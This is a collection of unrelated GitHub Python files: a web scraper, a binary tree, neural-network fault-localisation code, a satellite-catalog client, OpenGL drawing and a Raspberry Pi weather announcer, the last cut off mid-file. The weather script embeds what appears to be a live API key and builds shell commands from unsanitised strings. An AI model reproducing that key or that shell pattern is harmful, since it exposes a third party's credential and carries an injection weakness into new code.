+{"seq_id":"74497741687","text":"import time\nimport json\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\ndef page_scroller(driver):\n    last_height = driver.execute_script(\"return document.body.scrollHeight\")\n    while True:\n        driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n        time.sleep(2)\n        new_height = driver.execute_script(\"return document.body.scrollHeight\")\n        if new_height == last_height:\n            break\n        last_height = new_height\n\ndef product_tag_catcher(soup):\n    data = {}\n    data['product'] = []\n    products=soup.find_all(class_=\"col-xs-4 col-sm-4 similar\")\n    for product in products:\n        # Product Name\n        name= product.find('div',class_=\"product-name\").text\n        #  List Price\n        list_price=product.find('div',class_=\"list-price\")\n        # Member Price\n        result = product.find('div',attrs={\"class\":\"member-prices\"}).get_text(strip=True, separator=\" \").split()\n        member_price=result[0]+result[1]\n        # Quantity\n        result1 = product.find('div',attrs={\"class\":\"size-cart\"}).get_text(strip=True, separator=\" \").split()\n        quantity= result1[0]+result1[1]\n\n        if list_price is not None:\n            data['product'].append({\n                'Product Name': name,\n                'List Price': list_price.text,\n                'Member Price': member_price,\n                'Quantity': quantity})\n        else:\n            data['product'].append({\n                'Product Name': name,\n                'Member Price': member_price,\n                'Quantity': quantity})\n    return (data)\n\ndef jsondump(data,soup):\n    json_object = json.dumps(data, indent = 4)\n    with open(f\"{soup.find('title').text}.json\", \"w\") as outfile:\n        outfile.write(json_object)\n\n\nif __name__==\"__main__\":\n    url_list=[]\n    try:\n        number_of_url=int(input(\"Enter the number of url's: \"))\n        if(number_of_url>0):\n            print(\"Enter the URL/URL's you want to scrape\")\n            for i in range(number_of_url):\n                url_list.append(input(f\"url { i+1}:\"))\n        elif(number_of_url<0):\n            print(\"Enter a positive number, Please!\")\n            exit()\n\n    except ValueError:\n        print(\"You gotta enter something here buddy!!\")\n        exit()\n    driver = webdriver.Chrome(executable_path = r\"YOUR\\PATH\\HERE\\chromedriver.exe\")\n    for category in url_list:\n        driver.get(category)\n        page_scroller(driver)\n        soup = BeautifulSoup(driver.page_source, 'html.parser')\n        data=product_tag_catcher(soup)\n        jsondump(data,soup)\n    driver.quit()\n\n\n\n\n","repo_name":"Ayan47/BigBazaarScrapper","sub_path":"BigBazaarScrapper.py","file_name":"BigBazaarScrapper.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"9194699043","text":"\"\"\"Binary search tree.\"\"\"\n\n\nclass Node:\n    \"\"\"A node in the binary search tree.\"\"\"\n\n    def __init__(self, value, left=None, right=None):\n        \"\"\"Construct.\"\"\"\n        self.value = value\n        self.left = left\n        self.right = right\n\n    def insert(self, value):\n        \"\"\"\n        Insert value into the sub tree with the node as the root.\n\n        Args:\n            value: The value to insert.\n\n        \"\"\"\n        if value > self.value:\n            if self.right is None:\n                self.right = Node(value)\n                return\n            self.right.insert(value)\n            return\n        if self.left is None:\n            self.left = Node(value)\n            return\n        self.left.insert(value)\n\n    def search(self, value):\n        \"\"\"\n        Search for a value in the subtree with the node as the head.\n\n        Args:\n            value: The value to search for.\n\n        Returns:\n            The value if it was found or None if it was not.\n\n        \"\"\"\n        if value == self.value:\n            return self.value\n        if value > self.value:\n            if self.right is None:\n                return None\n            return self.right.search(value)\n        if self.left is None:\n            return None\n        return self.left.search(value)\n\n    def get_smallest(self):\n        \"\"\"\n        Get the smallest value in the subtree starting with the node as root.\n\n        Returns:\n            The smallest value in the subtree.\n\n        \"\"\"\n        if self.left is None:\n            return self.value\n        return self.left.get_smallest()\n\n    def is_leaf(self):\n        \"\"\"\n        Check whether the node is a leaf.\n\n        Returns:\n            Whether the node is a leaf.\n\n        \"\"\"\n        return self.left is None and self.right is None\n\n    def __iter__(self):\n        \"\"\"Iterate over values.\"\"\"\n        if self.left is not None:\n            yield from self.left.__iter__()\n        yield self.value\n        if self.right is not None:\n            yield from self.right.__iter__()\n\n    def delete(self, value):\n        \"\"\"\n        Delete the value out of the sub tree with the node as root.\n\n        Args:\n            value: The value to delete.\n\n        Returns:\n            The new root node.\n\n        \"\"\"\n        if value == self.value:\n            if self.is_leaf():\n                return None\n            if self.left is None:\n                return self.right\n            if self.right is None:\n                return self.left\n\n            # Getting the smallest value in the right subtree\n            smallest_in_right = self.right.get_smallest()\n            self.value = smallest_in_right\n            self.right = self.right.delete(smallest_in_right)\n            return self\n        if self.is_leaf():\n            raise ValueError(f\"{value} not found in the tree\")\n        if value < self.value:\n            self.left = self.left.delete(value)\n            return self\n        self.right = self.right.delete(value)\n        return self\n\n\nclass BinaryTree:\n    \"\"\"Implementation of a binary tree.\"\"\"\n\n    def __init__(self, root=None):\n        \"\"\"Construct.\"\"\"\n        self.root = root\n\n    def insert(self, value):\n        \"\"\"\n        Insert value into the binary tree.\n\n        Args:\n            value: The value to insert.\n\n        \"\"\"\n        if self.root is None:\n            self.root = Node(value)\n            return\n        self.root.insert(value)\n\n    def __iter__(self):\n        \"\"\"Iterate over values in the tree in order.\"\"\"\n        if self.root is not None:\n            yield from self.root.__iter__()\n\n    def search(self, value):\n        \"\"\"\n        Search for the value in the tree.\n\n        Args:\n            value: The value to search for.\n\n        Returns:\n            The value if found or None.\n\n        \"\"\"\n        if self.root is None:\n            return None\n        return self.root.search(value)\n\n    def delete(self, value):\n        \"\"\"\n        Delete value from the tree.\n\n        Raises ValueError if the value is not in the tree.\n\n        Args:\n            value: The value to delete.\n\n        \"\"\"\n        if self.root is None:\n            raise ValueError(f\"{value} not found in the tree\")\n        self.root = self.root.delete(value)\n","repo_name":"jdkandersson/algorithms-data-structures","sub_path":"library/binary_tree/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"45577535525","text":"\"\"\"\r\nThis is the main file that executes the flow of DeepFault\r\n\"\"\"\r\nimport datetime\r\nimport random\r\nfrom os import path\r\n\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nfrom input_synthesis import synthesize\r\nfrom run import parse_arguments\r\nfrom spectrum_analysis import *\r\nfrom test_nn import test_model\r\nfrom utils import construct_spectrum_matrices\r\nfrom utils import filter_val_set\r\nfrom utils import get_trainable_layers\r\nfrom utils import load_MNIST, load_CIFAR, load_model\r\n# from keras import backend as K\r\nimport keras.backend.tensorflow_backend as K\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nimport numpy as np\r\nimport time\r\n\r\n\r\n#\r\ndef get_fitness(individual,model,X_val, Y_val,correct_classifications,trainable_layers,scores, num_cf, num_uf, num_cs, num_us,selected,susp_num,func):\r\n# def get_fitness(individual, func):\r\n    experiment_path = \"experiment_results\"\r\n    model_path = \"neural_networks\"\r\n    group_index = 1\r\n    __version__ = \"v1.0\"\r\n\r\n    selected_class = 0\r\n    step_size = 1\r\n    distance = 0.1\r\n\r\n\r\n    repeat = 1\r\n    seed = random.randint(0, 10)\r\n    star = 3\r\n    susp_num = int(susp_num)\r\n    ####################\r\n    # 0) Load MNIST or CIFAR10 data\r\n\r\n#     selected_class = 0\r\n#     model_path = \"neural_networks\"\r\n#     model_name = \"mnist_test_model_8_20_relu\"\r\n#     model = load_model(path.join(model_path, model_name))\r\n#     X_train, Y_train, X_test, Y_test = load_MNIST(one_hot=True)\r\n#     X_val, Y_val = filter_val_set(selected_class, X_test, Y_test)\r\n#     correct_classifications, misclassifications, layer_outs, predictions = \\\r\n#         test_model(model, X_val, Y_val)\r\n#     trainable_layers = get_trainable_layers(model)\r\n#     scores, num_cf, num_uf, num_cs, num_us = construct_spectrum_matrices(model,\r\n#                                                                          trainable_layers,\r\n#                                                                          correct_classifications,\r\n#                                                                          misclassifications,\r\n#                                                                          layer_outs)\r\n\r\n    ####################\r\n    # 1) Load the pretrained network.\r\n    #     try:\r\n    #         model = load_model(path.join(model_path, model_name))\r\n    #     except:\r\n    #         logfile.write(\"Model not found! Provide a pre-trained model as input.\")\r\n    #         exit(1)\r\n\r\n    # Fault localization is done per class.\r\n\r\n    start_time = time.time()\r\n    # your code\r\n# \r\n    suspicious_neuron_idx = individual_analysis(individual, trainable_layers, scores,\r\n                                                num_cf, num_uf, num_cs, num_us,\r\n                                                susp_num, func)\r\n#     suspicious_neuron_idx = tarantula_analysis(trainable_layers, scores, num_cf, num_uf, num_cs, num_us, susp_num)\r\n    # suspicious_neuron_idx = tarantula_analysis(trainable_layers, scores,\r\n    #                                              num_cf, num_uf, num_cs, num_us,\r\n    #                                              susp_num)\r\n\r\n    # print(len(suspicious_neuron_idx))\r\n    elapsed_time = time.time() - start_time\r\n    # print(\"suspicious time is \", elapsed_time)\r\n\r\n    perturbed_xs = []\r\n    perturbed_ys = []\r\n\r\n    # select 10 inputs randomly from the correct classification set.\r\n#     selected = np.random.choice(list(correct_classifications), 10)\r\n\r\n    # zipped_data = zip(, )\r\n    x_original = list(np.array(X_val)[selected])\r\n    y_original = list(np.array(Y_val)[selected])\r\n\r\n    # save_original_inputs(x_original, filename, group_index)\r\n\r\n    syn_start = datetime.datetime.now()\r\n\r\n    start_time = time.time()\r\n\r\n    x_perturbed = synthesize(model, x_original, suspicious_neuron_idx, step_size, distance)\r\n    elapsed_time = time.time() - start_time\r\n\r\n    # print(\"systhesize time is\", elapsed_time)\r\n\r\n    syn_end = datetime.datetime.now()\r\n\r\n    # 5) Test if the mutated inputs are adversarial\r\n    start_time = time.time()\r\n    # with K.tf.device('/gpu:0'):\r\n    score = model.evaluate([x_perturbed], [y_original], verbose=0)\r\n    # print(\"score\", score)\r\n    elapsed_time = time.time() - start_time\r\n    # print(\"model evaluation time is\", elapsed_time)\r\n    # print(score[0])\r\n    return score[0]\r\n\r\n\r\ndef getSuspicousnessScore(individual, num_cf, num_uf, num_cs, num_us, func):\r\n    suspicousnessScore = func(num_cf, num_uf, num_cs, num_us)\r\n\r\n    return suspicousnessScore\r\n\r\n\r\n# cf = ef, uf = nf cs = ep, us = np\r\ndef individual_analysis(individual, trainable_layers, scores, num_cf, num_uf, num_cs, num_us, suspicious_num, func):\r\n    '''\r\n    More information on Tarantula fault localization technique can be found in\r\n    [1]\r\n    '''\r\n    suspicious_neuron_idx = [[] for i in range(1, len(trainable_layers))]\r\n    # print(\"suspicious_num is\",suspicious_num)\r\n\r\n    scaler = MinMaxScaler()\r\n\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            score = getSuspicousnessScore(individual, num_cf[i][j], num_uf[i][j], num_cs[i][j], num_us[i][j], func)\r\n            if np.isnan(score):\r\n                score = 0\r\n            scores[i][j] = score\r\n\r\n    scores[:] = scaler.fit_transform(scores[:]) # normalization\r\n\r\n    #print(scores)\r\n\r\n    flat_scores = [float(item) for sublist in scores for item in sublist if not\r\n    math.isnan(float(item))]\r\n\r\n    relevant_vals = sorted(flat_scores, reverse=True)[:suspicious_num]\r\n\r\n    suspicious_neuron_idx = []\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n\r\n            if len(suspicious_neuron_idx) == suspicious_num:\r\n                break\r\n\r\n            if scores[i][j] in relevant_vals:\r\n\r\n                if trainable_layers == None:\r\n                    suspicious_neuron_idx.append((i, j))\r\n                else:\r\n                    suspicious_neuron_idx.append((trainable_layers[i], j))\r\n\r\n    return suspicious_neuron_idx\r\n\r\n\r\ndef tarantula_analysis(trainable_layers, scores, num_cf, num_uf, num_cs, num_us, suspicious_num):\r\n    '''\r\n    More information on Tarantula fault localization technique can be found in\r\n    [1]\r\n    '''\r\n    suspicious_neuron_idx = [[] for i in range(1, len(trainable_layers))]\r\n\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            score = float(float(num_cf[i][j]) / (num_cf[i][j] + num_uf[i][j])) / (\r\n                        float(num_cf[i][j]) / (num_cf[i][j] + num_uf[i][j]) + float(num_cs[i][j]) / (\r\n                            num_cs[i][j] + num_us[i][j]))\r\n            # print(score)\r\n            if np.isnan(score):\r\n                score = 0\r\n            scores[i][j] = score\r\n\r\n    flat_scores = [float(item) for sublist in scores for item in sublist if not\r\n    math.isnan(float(item))]\r\n\r\n    relevant_vals = sorted(flat_scores, reverse=True)[:suspicious_num]\r\n\r\n    suspicious_neuron_idx = []\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            if scores[i][j] in relevant_vals:\r\n\r\n                if trainable_layers == None:\r\n                    suspicious_neuron_idx.append((i, j))\r\n                else:\r\n                    suspicious_neuron_idx.append((trainable_layers[i], j))\r\n            if len(suspicious_neuron_idx) == suspicious_num:\r\n                break\r\n\r\n    return suspicious_neuron_idx\r\n\r\ndef ochiai_analysis(available_layers, scores, num_cf, num_uf, num_cs, num_us, suspicious_num):\r\n    '''\r\n    More information on Ochiai fault localization technique can be found in\r\n    [2]\r\n    '''\r\n\r\n    suspicious_neuron_idx = [[] for i in range(1, len(available_layers))]\r\n\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            score = float(num_cf[i][j]) / ((num_cf[i][j] + num_uf[i][j]) * (num_cf[i][j] + num_cs[i][j])) **(.5)\r\n            scores[i][j] = score\r\n\r\n    flat_scores = [float(item) for sublist in scores for item in sublist if not\r\n               math.isnan(float(item))]\r\n\r\n    relevant_vals = sorted(flat_scores, reverse=True)[:suspicious_num]\r\n\r\n    suspicious_neuron_idx = []\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            if scores[i][j] in relevant_vals:\r\n                if available_layers == None:\r\n                    suspicious_neuron_idx.append((i,j))\r\n                else:\r\n                    suspicious_neuron_idx.append((available_layers[i],j))\r\n            if len(suspicious_neuron_idx) == suspicious_num:\r\n                break\r\n\r\n    return suspicious_neuron_idx\r\n\r\n\r\ndef dstar_analysis(available_layers, scores, num_cf, num_uf, num_cs, num_us, suspicious_num, star):\r\n    '''\r\n    More information on DStar fault localization technique can be found in\r\n    [3]\r\n    '''\r\n\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            score = float(num_cf[i][j]**star) / (num_cs[i][j] + num_uf[i][j])\r\n            scores[i][j] = score\r\n\r\n    flat_scores = [float(item) for sublist in scores for item in sublist if not\r\n               math.isnan(float(item))]\r\n\r\n    relevant_vals = sorted(flat_scores, reverse=True)[:suspicious_num]\r\n\r\n    suspicious_neuron_idx = []\r\n    for i in range(len(scores)):\r\n        for j in range(len(scores[i])):\r\n            if scores[i][j] in relevant_vals:\r\n                if available_layers == None:\r\n                    suspicious_neuron_idx.append((i,j))\r\n                else:\r\n                    suspicious_neuron_idx.append((available_layers[i],j))\r\n            if len(suspicious_neuron_idx) == suspicious_num:\r\n                break\r\n\r\n    return suspicious_neuron_idx\r\n\r\nif __name__ == \"__main__\":\r\n    for i in range(10):\r\n        get_fitness()\r\n","repo_name":"seongil-wi/cs454-2019-team10","sub_path":"Reference/fitness.py","file_name":"fitness.py","file_ext":"py","file_size_in_byte":9681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"22363074868","text":"\"\"\" Catalogs module. \"\"\"\n\nfrom time import sleep\n\nfrom core.settings import PluginSettings\nfrom services import element84, microsoft, sentinel_hub, up42\nfrom utils.exceptions import ProviderError\nfrom utils.helpers import tr\n\n\ndef get_custom_query(provider: str, max_cloud_coverage: int) -> dict:\n    \"\"\"Get custom query for a specific provider.\"\"\"\n\n    query = {}\n\n    if provider == 'up42':\n        query = {'cloudCoverage': {'LTE': max_cloud_coverage}}\n\n    if provider == 'sentinel_hub':\n        query = f'eo:cloud_cover<{max_cloud_coverage}'\n\n    return query\n\n\ndef get_catalog(\n    provider: str, host_name: str, search_params: dict, max_cloud_coverage: int, collection_names: list\n) -> dict:\n    \"\"\"Get catalog data from a specific provider.\"\"\"\n\n    settings = PluginSettings()\n    provider_settings = settings.provider_settings.get(provider, {'project_id': '', 'api_key': ''})\n    custom_query = get_custom_query(provider=provider, max_cloud_coverage=max_cloud_coverage)\n    sleep(0.3)\n\n    if provider == 'element84':\n        # if custom_query:\n        #     search_params['query'] = custom_query\n\n        catalogs = []\n\n        catalogs_features = element84.get_catalog(search_params=search_params)\n        for catalog in catalogs_features['features']:\n            catalog['aux_date'] = catalog['properties']['datetime']\n            catalog['aux_angle'] = None\n            catalog['aux_cloud_coverage'] = None  # catalog['properties']['cloudCoverage']\n            catalog['aux_collection_name'] = catalog['collection']\n            catalog['aux_image_id'] = catalog['id']\n            catalog['aux_coordinates'] = catalog['geometry']['coordinates'][0]\n\n        catalogs += catalogs_features['features']\n\n        return catalogs\n\n    if provider == 'microsoft':\n        # if custom_query:\n        #     search_params['query'] = custom_query\n\n        catalogs = []\n\n        catalogs_features = microsoft.get_catalog(search_params=search_params)\n        for catalog in catalogs_features['features']:\n            catalog['aux_date'] = catalog['properties']['datetime']\n            catalog['aux_angle'] = None\n            catalog['aux_cloud_coverage'] = None  # catalog['properties']['cloudCoverage']\n            catalog['aux_collection_name'] = catalog['collection']\n            catalog['aux_image_id'] = catalog['id']\n            catalog['aux_coordinates'] = catalog['geometry']['coordinates'][0]\n\n        catalogs += catalogs_features['features']\n\n        return catalogs\n\n    if provider == 'up42':\n        token = up42.get_token(\n            username=provider_settings['username'],\n            password=provider_settings['password'],\n        )\n\n        if custom_query:\n            search_params['query'] = custom_query\n\n        catalogs = up42.get_catalog(token=token, host_name=host_name, search_params=search_params)\n\n        for catalog in catalogs['features']:\n            catalog['aux_date'] = catalog['properties']['acquisitionDate']\n            catalog['aux_angle'] = float(catalog['properties']['providerProperties'].get('incidenceAngle', 0))\n            catalog['aux_cloud_coverage'] = catalog['properties']['cloudCoverage']\n            catalog['aux_collection_name'] = collection_names.get(catalog['properties']['collection'])\n            catalog['aux_image_id'] = catalog['properties']['id']\n            catalog['aux_coordinates'] = catalog['geometry']['coordinates'][0]\n\n        return catalogs['features']\n\n    if provider == 'sentinel_hub':\n        token = sentinel_hub.get_token(\n            client_id=provider_settings['client_id'],\n            client_secret=provider_settings['client_secret'],\n        )\n\n        if custom_query:\n            search_params['filter'] = custom_query\n\n        all_catalogs = []\n        aux_collections = search_params['collections']\n\n        # Get catalog from each collection, because the API does not allow to search in multiple collections\n        for collection_name in aux_collections:\n            search_params['collections'] = [collection_name]\n\n            # TODO: get available filters by collection, cloud coverage is not available for sentinel-1-grd\n            if collection_name == 'sentinel-1-grd':\n                search_params.pop('filter')\n\n        col_catalogs = sentinel_hub.get_catalog(token=token, host_name=host_name, search_params=search_params)\n        for catalog in col_catalogs['features']:\n            catalog['aux_date'] = catalog['properties']['datetime']\n            catalog['aux_angle'] = None\n            catalog['aux_cloud_coverage'] = catalog['properties'].get('eo:cloud_cover')\n            catalog['aux_collection_name'] = catalog['collection']\n            catalog['aux_image_id'] = catalog['id']\n            catalog['aux_coordinates'] = catalog['geometry']['coordinates'][0][0]\n\n        all_catalogs += col_catalogs['features']\n\n        return all_catalogs\n\n    raise ProviderError(tr('Provider not found.'))\n\n\ndef get_catalogs_from_collection(collections: list, provider: str, search_params: dict) -> list:\n    \"\"\"Get catalog list from a specific provider.\"\"\"\n\n    result_features = []\n    for collection in collections:\n        catalog = get_catalog(\n            provider=provider,\n            host_name=collection['hostName'],\n            search_params=search_params,\n        )\n        for feature in catalog['features']:\n            result_features.append(feature)\n\n    return result_features\n\n\ndef get_thumbnail(provider: str, collection_name: str, host_name: str, image_id: str, feature_data: dict) -> dict:\n    \"\"\"Get catalog thumbnail from a specific provider.\"\"\"\n\n    settings = PluginSettings()\n    provider_settings = settings.provider_settings.get(provider, {'project_id': '', 'api_key': ''})\n\n    sleep(0.3)\n\n    thumbnail = None\n    if provider == 'microsoft':\n        thumbnail = microsoft.get_thumbnail(collection_name=collection_name, feature_data=feature_data)\n\n    if provider == 'element84':\n        thumbnail = element84.get_thumbnail(collection_name=collection_name, image_id=image_id)\n\n    if provider == 'up42':\n        token = up42.get_token(\n            username=provider_settings['username'],\n            password=provider_settings['password'],\n        )\n\n        thumbnail = up42.get_thumbnail(token=token, host_name=host_name, image_id=image_id)\n\n    if provider == 'sentinel_hub':\n        token = sentinel_hub.get_token(\n            client_id=provider_settings['client_id'],\n            client_secret=provider_settings['client_secret'],\n        )\n        thumbnail = sentinel_hub.get_thumbnail(token=token, host_name=host_name, image_id=image_id)\n\n    return thumbnail\n\n\ndef get_quicklook(provider: str, host_name: str, image_id: str, feature_data: dict) -> dict:\n    \"\"\"Get catalog quicklook from a specific provider.\"\"\"\n\n    settings = PluginSettings()\n    provider_settings = settings.provider_settings.get(provider, {'project_id': '', 'api_key': ''})\n\n    if provider not in ['microsoft', 'up42', 'element84']:\n        raise ProviderError(tr('It is not possible to obtain a preview from this provider.'))\n\n    quicklook = None\n\n    if provider == 'microsoft':\n        quicklook = microsoft.get_quicklook(host_name=host_name, image_id=image_id, feature_data=feature_data)\n\n    if provider == 'element84':\n        quicklook = element84.get_quicklook(image_id=image_id, feature_data=feature_data)\n\n    if provider == 'up42':\n        token = up42.get_token(\n            username=provider_settings['username'],\n            password=provider_settings['password'],\n        )\n\n        quicklook = up42.get_quicklook(token=token, host_name=host_name, image_id=image_id)\n\n    if not quicklook:\n        raise ProviderError(tr('It is not possible to obtain a preview from this catalog.'))\n    return quicklook\n\n\ndef get_download(provider: str, host_name: str, search_params: dict) -> dict:\n    \"\"\"Get catalog download from a specific provider.\"\"\"\n\n    sleep(0.3)\n    settings = PluginSettings()\n    provider_settings = settings.provider_settings.get(provider, {'project_id': '', 'api_key': ''})\n\n    if provider == 'up42':\n        token = up42.get_token(\n            username=provider_settings['username'],\n            password=provider_settings['password'],\n        )\n\n        return up42.get_catalog(token=token, host_name=host_name, search_params=search_params)\n\n    if provider == 'planet':\n        raise ProviderError(tr('This provider is not available.'))\n\n    if provider == 'sentinel_hub':\n        raise ProviderError(tr('This provider is not available.'))\n\n    raise ProviderError(tr('Provider not found.'))\n\n\ndef get_download_url(provider: str):\n    \"\"\"Get catalog download url from a specific provider.\"\"\"\n\n    if provider == 'up42':\n        return up42.DOWNLOAD_URL\n\n    if provider == 'sentinel_hub':\n        return sentinel_hub.DOWNLOAD_URL\n\n    raise ProviderError(tr('Provider not found.'))\n","repo_name":"Kan-T-IT/QGIS-KICa","sub_path":"src/core/catalogs.py","file_name":"catalogs.py","file_ext":"py","file_size_in_byte":8822,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"2531211342","text":"#Initialize the constants\r\n\r\nTAX_RATE = 0.2\r\nSTANDARD_DEDUCTION = 10000.0\r\nDEPENDANT_DEDUCTION = 3000.0\r\n\r\n#Request Inputs\r\n\r\ngrossIncome = input (\"Enter Gross Income: \")\r\nnumDependents = input (\"Enter no.dependents: \")\r\n\r\n#ComputeIncomeTax\r\ntaxableIncome = float (grossIncome) - STANDARD_DEDUCTION - \\\r\n                DEPENDANT_DEDUCTION*int(numDependents)\r\n\r\nincomeTax = taxableIncome*TAX_RATE\r\n\r\n#Display incometax\r\n\r\nprint (\"The income tax is $\" + str(incomeTax))\r\nprint (\"The income tax is $\", incomeTax)\r\n","repo_name":"GrandpaGnes/Intro-to-Python","sub_path":"IncomeTax.py","file_name":"IncomeTax.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71492173370","text":"from fastapi import FastAPI\nfrom core.config import settings\nfrom beanie import init_beanie \nfrom motor.motor_asyncio import AsyncIOMotorClient\nfrom models.stocks_model import StocksModel\n\n\ntags_metadata = [\n    {\n        \"name\": \"stocks\",\n        \"description\": \"Operations with stocks.\",\n    },\n    \n]\n\n\n\napp = FastAPI(\n    title=settings.PROJECT_NAME,\n    openapi_url=f\"{settings.API_V1_STR}/openapi.json\",\n    openapi_tags=tags_metadata\n)\n\n\n@app.on_event('startup')\nasync def app_init():\n    client_db = AsyncIOMotorClient(settings.MONGO_CONNECTION_STRING).eazy_indicator\n    await init_beanie(\n        database= client_db,\n        document_models=[\n            StocksModel,\n        ]\n    )","repo_name":"gustapfp/eazy_indicator","sub_path":"backend/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29120112889","text":"import OpenGL \nOpenGL.ERROR_ON_COPY = True \n\nfrom OpenGL.GLUT import *\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nw,h = 500,500\n\ndef init2D(r,g,b):\n    glClearColor(r,g,b,0.0)    \n    glMatrixMode (GL_PROJECTION)\n    gluOrtho2D (-500.0, 500.0, -500.0, 500.0)\n\ndef horizontal():\n    glClear(GL_COLOR_BUFFER_BIT)\n    glPointSize(4.0)\n    glColor3f(0.0, 0.0, 1.0)\n    glBegin(GL_POINTS)\n    for j in range(x1,x2):\n        glVertex2i(j,y)    \n    glEnd()\n    glFlush()\n\ndef vertical():\n    glClear(GL_COLOR_BUFFER_BIT)\n    glPointSize(4.0)\n    glColor3f(0.0, 1.0, 0.0)\n    glBegin(GL_POINTS)\n    for k in range(y1,y2):\n        glVertex2i(x,k)    \n    glEnd()\n    glFlush()\n\ndef diagonal():\n    glClear(GL_COLOR_BUFFER_BIT)\n    glPointSize(4.0)\n    glColor3f(1.0, 0.0, 0.0)\n    glBegin(GL_POINTS)\n    for i in range(d1,d2):\n        glVertex2i(i,i)    \n    glEnd()\n    glFlush()\n\noption = input('Enter 1 for horizontal line and 2 for verticle line and 3 for diagonal line : ')\nif option == '1':\n    print('selected for horizontal line')\n    x1 = int(input('Enter x1 value : '))\n    x2 = int(input('Enter x2 value : '))\n    y = int(input('Enter y value : '))\n    glutInit(sys.argv)\n    glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\n    glutInitWindowSize(w, h)\n    glutInitWindowPosition(100,100)\n    glutCreateWindow(b'Horizontal line')\n    init2D(0.0,0.0,0.0)\n    glutDisplayFunc(horizontal)\n    glutMainLoop()\n\nif option == '2':\n    print('selected for verticle line')\n    x = int(input('Enter x value : '))\n    y1 = int(input('Enter y1 value : '))\n    y2 = int(input('Enter y2 value : '))\n    glutInit(sys.argv)\n    glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\n    glutInitWindowSize(w, h)\n    glutInitWindowPosition(100,100)\n    glutCreateWindow(b'Vertical line')\n    init2D(0.0,0.0,0.0)\n    glutDisplayFunc(vertical)\n    glutMainLoop()\n\nif option == '3':\n    print('selected for diagonal line line')\n    d1 = int(input('Enter value1 : '))\n    d2 = int(input('Enter value2 : '))\n    glutInit(sys.argv)\n    glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\n    glutInitWindowSize(w, h)\n    glutInitWindowPosition(100,100)\n    glutCreateWindow(b'Diagonal line')\n    init2D(0.0,0.0,0.0)\n    glutDisplayFunc(diagonal)\n    glutMainLoop()\n\nelse:\n    print('Invalid option')\n","repo_name":"DheerajChalil/PyOpenGLLab-experiment","sub_path":"Experiment1.py","file_name":"Experiment1.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15850426232","text":"import os\nimport time\nimport datetime\nimport threading\nfrom pyowm import OWM\nimport RPi.GPIO as GPIO\n\ndef weather():\n\n    # 날씨정보 받아오기\n    API_key = '0d2f0a799c84678504d2e5b90c0f776a'\n    owm = OWM(API_key)\n    obs = owm.weather_at_place('Seoul')\n    w = obs.get_weather()\n\n    # 날씨정보 출력\n    print('시 간 : ', datetime.datetime.now())\n    print('날 씨 : ', w.get_status())\n    print('온 도 : ', int(w.get_temperature(unit='celsius')['temp']))\n    print('습 도 : ', w.get_humidity())\n\n    # 라즈베리파이 'GPIO' 신호\n    GPIO.setmode(GPIO.BCM)\n    GPIO.setwarnings(False)\n    temperature = str(w.get_temperature(unit='celsius')['temp'])\n    humidity_str = str(w.get_humidity())\n    weather_now = str(w.get_status())\n\n    # 날씨가 'Rain'일 경우 LED 점등, GPIO 9번 핀 사용\n    if weather_now == 'Rain':\n        GPIO.setup(9, GPIO.OUT)\n        GPIO.output(9, 1)\n    else :\n        GPIO.setup(9, GPIO.OUT)\n        GPIO.output(9, 0)\n\n    # 'espeak' 모듈로 날씨 정보 읽어주기\n    os.system(\"espeak -v ko -a 200 '날씨는'\")\n    os.system(\"espeak -a 200 '\" + w.get_status()+ \"'\")\n    os.system(\"espeak -a 200 '온도는'\")\n    \n    # 온도가 0도 이하일 경우 '영하'로 읽어주기\n    if temperature[0] == '-':\n        temperature_modify = temperature.replace(\"-\",\"\")\n        temperature_int_str = str(int(float(temperature_modify))) # 실수로 표시된 온도를 정수로 표시\n        os.system(\"espeak -a 200 '영하'\")\n        os.system(\"espeak -v ko -a 200 '\" + temperature_int_str + \"'\")\n        os.system(\"espeak -a 200 '도'\")\n    else :\n        temperature_int_str = str(int(float(temperature)))\n        os.system(\"espeak -v ko -a 200 '\" + temperature_int_str + \"'\")\n        os.system(\"espeak -a 200 '도'\")\n        \n    os.system(\"espeak -a 200 '습도는'\")\n    os.system(\"espeak -v ko -a 200 '\" + humidity_str + \"'\")\n    os.system(\"espeak -a 200 '입니다'\")\n\n    # 10초 후 함수 재실행\n    timer = threading.Timer(10, weather)\n    timer.start()\n    \n    \n    # 세그먼트 설정\n    segments = (11, 14, 23, 8, 7, 10, 18, 25)\n    for segment in segments :\n        GPIO.setup(segment, GPIO.OUT)\n        GPIO.output(segment, 0)\n\n\n    num = {\n           '0' : (0,0,0,0,0,0,1,1),\n           '1' : (1,0,0,1,1,1,1,1),\n           '2' : (0,0,1,0,0,1,0,1),\n           '3' : (0,0,0,0,1,1,0,1),\n           '4' : 